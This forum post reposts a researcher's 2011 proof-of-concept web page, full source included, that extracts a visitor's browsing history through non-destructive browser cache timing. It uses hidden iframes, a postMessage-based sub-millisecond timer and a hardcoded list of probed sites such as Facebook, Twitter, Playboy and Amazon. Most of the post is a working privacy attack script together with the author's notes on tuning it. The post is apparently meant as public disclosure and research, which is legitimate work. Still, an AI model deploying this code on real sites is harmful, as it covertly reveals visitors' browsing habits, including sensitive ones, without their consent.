Terran Posted December 3, 2011 Report Posted December 3, 2011 Script-uri PoC:http://lcamtuf.coredump.cx/cachetime/ (Firefox only)http://lcamtuf.coredump.cx/cachetime/orig.html (alte browsere)CSS :visited may be a bit overratedOK, second time is a charm. This script is probably of some peripheral interest: * http://lcamtuf.coredump.cx/cachetime/ In the past two years or so, a majority of browser vendors decided to take a drastic step of severely crippling CSS :visited selectors in order to prevent websites from stealing your browsing history.It is widely believed that techniques such as cache timing may theoretically offer comparable insights, but the attacks demonstrated so far seemed unconvincing. Among other faults, they relied on destructive, one-shot testing that altered the state of the examined cache; produced only probabilistic results; and were far too slow and noisy to be practically useful. Consequently, no serious attempts to address the underlying weakness have been made.My proof of concept is fairly crude, and I'm sure it will fail for a minority of readers; but in my testing, it offers reliable, high-performance, non-destructive cache inspection that blurs the boundary between :visited and all the "less interesting" techniques.Sursa (http://lcamtuf.coredump.cx/cachetime/):<html><title>Firefox PoC: rapid history extraction through non-destructive cache timing</title><!-- Hello, traveler! There are three simple tricks in this otherwise straightforward code: 1) Instead of the usual tendency to leverage <img onload=...>, it attempts to load selected third-party URLs in an <iframe>. This has two very important benefits: - We can detect that the browser is preparing to parse the retrieved document, and do not have to wait for it to be actually parsed and rendered. We do this by continuously accessing the DOM of the original about:blank frame, and trapping same-origin policy violations as soon as that context is discarded. - In all browsers, we can reliably abort the underlying request by changing the src= parameter of the frame as soon as we have a reasonable suspicion we're dealing with a cache miss. This preserves the integrity of the cache. 2) Unfortunately for applications like this, browser vendors clamp the minimal delay for setInterval and setTimeout calls, which makes it difficult to perform the check frequently enough. This is worked around by leveraging postMessage() to simulate a sub-ms resolution timer. 3) There are some counterintuitive tweaks necessary to allow the timing to work just right - and that's the main reason why this PoC is optimized only for Firefox. About the most important point is a cool-off period after resetting the src= of a frame to about:blank: several miliseconds must be allowed to permit the navigation to complete properly. The target URLs probed by the script can be almost arbitrary, as long as they are not explicitly marked as non-cacheable, and do not have an unreasonably short max-age / Expires. You can target specific HTML pages, favicons, images, CSS, static JS, etc. This version uses static CSS and JS subresources over approximately 10 kB, as they are a very stable and predictable target. What else? This implementation scans around 50 individual URLs per second, but uses conservative timing and redundancy to stay on the safe side. With minor optimizations and some parallelism, several hundred URLs per second should be doable. If you have any questions, please ping me at lcamtuf@coredump.cx. You can also thank me for not making a conference presentation, a research paper, or a PR release out of this ;-)--><script>/******************************* * SUB-MS TIMER IMPLEMENTATION * *******************************/var cycles = 0;var exec_next = null;function timer_interrupt() { cycles++; if (exec_next) { var cmd = exec_next; exec_next = null; cmd(); }}if ('v' != '\v') window.addEventListener('message', timer_interrupt, false);function sched_call(fn) { exec_next = fn; if ('v' == '\v') { setTimeout(timer_interrupt, 1); } else { window.postMessage('123', '*'); }}/**************** * SCANNED URLS * ****************/var targets = [ { 'category': 'Social networks' }, { 'name': 'Facebook', 'urls': [ 'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js', 'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js', 'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] }, { 'name': 'Twitter', 'urls': [ 'http://a0.twimg.com/a/1322778272/phoenix/css/phoenix_core.bundle.css', 'http://a2.twimg.com/a/1322778272/phoenix/css/phoenix_core.bundle.css', 'http://a0.twimg.com/a/1322778272/phoenix/css/phoenix_more.bundle.css', 'https://twimg0-a.akamaihd.net/a/1322778272/phoenix/css/phoenix_core.bundle.css' ] }, { 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] }, { 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] }, { 'category': 'Content platforms' }, { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] }, { 'name': 'Blogger (admin page)', 'urls': [ 'http://www.blogger.com/static/v1/v-css/4158269524-common_head_content.css' ] }, { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] }, { 'name': 'LiveLeak', 'urls': [ 'http://edge.liveleak.com/80281E/u/u/ll2_css/jquery_ui/jquery-ui-1.8.6.custom.css' ] }, { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] }, { 'category': 'Online media' }, { 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] }, { 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css', 'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] }, { 'name': 'ZDNet', 'urls': [ 'http://i3.zdnetstatic.com/css/v3/base-min-57244.css' ] }, { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.xai6cepmHKc.css' ] }, { 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] }, { 'category': 'Commerce' }, { 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] }, { 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] }, { 'name': 'Sears', 'urls': [ 'http://nc.shld.net/11292235/css/refactorSPUHeaderCombined.css' ] }, { 'name': 'Lowes', 'urls': [ 'http://www.lowes.com/wcsstore/B2BDirectStorefrontAssetStore/javascript/mbox.js' ] }, { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] }];/************************* * CONFIGURABLE SETTINGS * *************************/var TIME_LIMIT = 5;var BACK_OFF_MS = 50;var MAX_ATTEMPTS = 2;/********************** * MAIN STATE MACHINE * **********************/var log_area;var target_off = 0;var attempt = 0;var confirmed_visited = false;var current_url, current_name;/* The frame points to about:blank. Initialize a new test. */function perform_check() { cycles = 0; setTimeout('sched_call(wait_for_read)', BACK_OFF_MS);}/* Wait for the about:blank page to load, as confirmed by DOM access. When done, navigate the frame to the target URL. */function wait_for_read() { if (cycles > 1000) { alert('Something went wrong during testing.'); return; } try { if (frames['f'].location.href == undefined) throw 1; cycles = 0; sched_call(wait_for_noread); document.getElementById('f').src = current_url; } catch (e) { setTimeout('sched_call(wait_for_read)', BACK_OFF_MS); }}/* The browser is now trying to load the destination URL. Let's see if we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache hit. If not, seems like cache miss. In both cases, abort pending navigation by pointing the frame back to about:blank when done. */function wait_for_noread() { if (cycles > TIME_LIMIT) { document.getElementById('f').src = 'about:blank'; maybe_test_next(); return; } try { if (frames['f'].location.href == undefined) throw 1; sched_call(wait_for_noread); } catch (e) { document.getElementById('f').src = 'about:blank'; confirmed_visited = true; maybe_test_next(); }}/* Just a logging helper. */function log_text(str, type, cssclass) { var el = document.createElement(type); var tx = document.createTextNode(str); el.className = cssclass; el.appendChild(tx); log_area.appendChild(el);}/* Decides what to do next. May schedule another attempt for the same target, select a new target, or wrap up the scan. */function maybe_test_next() { if (target_off < targets.length) { if (targets[target_off].category) { log_text(targets[target_off].category + ':', 'p', 'category'); target_off++; } if (confirmed_visited) { log_text(current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited'); } if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) { if (!confirmed_visited) log_text(current_name + ' [' + cycles + '+]', 'li', 'not_visited'); confirmed_visited = false; target_off++; attempt = 0; maybe_test_next(); } else { current_url = targets[target_off].urls[attempt % targets[target_off].urls.length]; current_name = targets[target_off].name; attempt++; perform_check(); } } else { document.getElementById('f').src = 'about:blank'; document.getElementById('btn').disabled = false; document.getElementById('survey').style.display = 'inline'; }}/* The handler for "run the test" button on the main page. Dispenses advice, resets state if necessary. */function start_stuff() { if (navigator.userAgent.indexOf('Firefox/') == -1) alert('You are not running Firefox. The code is Firefox-specific, so the test will probably fail.\n\n' + '(Note, however, that there is nothing browser-specific about the underlying approach itself.)'); target_off = 0; attempt = 0; confirmed_visited = false; document.getElementById('btn').disabled = true; log_area = document.getElementById('log'); log_area.innerHTML = ''; document.getElementById('f').src = 'about:blank'; maybe_test_next();}/* Survey helper. */function survey(answer) { var x = new XMLHttpRequest(); x.open('GET', 'survey.cgi?' + answer, false); x.send(null); alert('Thanks for the feedback!'); document.getElementById('survey').style.display = 'none'; return false;}</script><style>body { font-family: 'Georgia', 'Arial', 'Helvetica'; background-color: white; color: black;}.visited { color: green; font-weight: bold;}.not_visited { color: gray;}.category { color: crimson; text-decoration: underline; font-weight: bold; font-size: 120%;}.list { font-size: 80%;}h5 { color: black; }</style><h3>Firefox PoC: rapid history extraction through non-destructive cache timing</h3><span style="color: steelblue">For more information about this proof-of-concept script, please <a href="http://lcamtuf.blogspot.com/2011/12/css-visited-may-be-bit-overrated.html">see my blog post</a>; for implementation notes, you can also <a href="view-source:http://lcamtuf.coredump.cx/cachetime/">examine the source code</a>.Long story short, the goal is to implement fast, reliable, and non-destructive extraction of browsing history by observing cache timings.Such attacks were historically regarded as fairly impractical, slow, and noisy - and so (as opposed to<a href="http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/">CSS :visited selectors</a>), no realistic plans have beenmade to address the underlying weakness.<p>This page is a quick hack, so there is a chance it may not work for you; but for most visitors, it should perform very well. The code is Firefox-specific, although the approach itself is fully portable. My <a href="orig.html">earlier variant</a> works in multiple browsers, but onlyon certain systems. For this PoC, I focused on getting it right in a single browser first. Oh: shameless plug for<a href="/tangled/">TTW</a> goes here, too.</font><br></span><p><input id=btn type=submit onclick="start_stuff()" value="Do the thing already!"><p><h5>The script thinks you have recently visited the sites shown in <font color=green>green</font>:</h5><div id=log class=list>...</div><p><iframe id=f name=f height=20 width=200 style="opacity: 0.1" src="about:blank"></iframe><p><span id="survey" style="display: none;color: steelblue; font-size: 80%">Are the results accurate?Click <a href="#" onclick="return survey('yes')">here</a> if yes, or <a href="#" onclick="return survey('no')">here</a> if not.You can also ping me at <a href="mailto:lcamtuf@coredump.cx">lcamtuf@coredump.cx</a>.</i></span> 2 Quote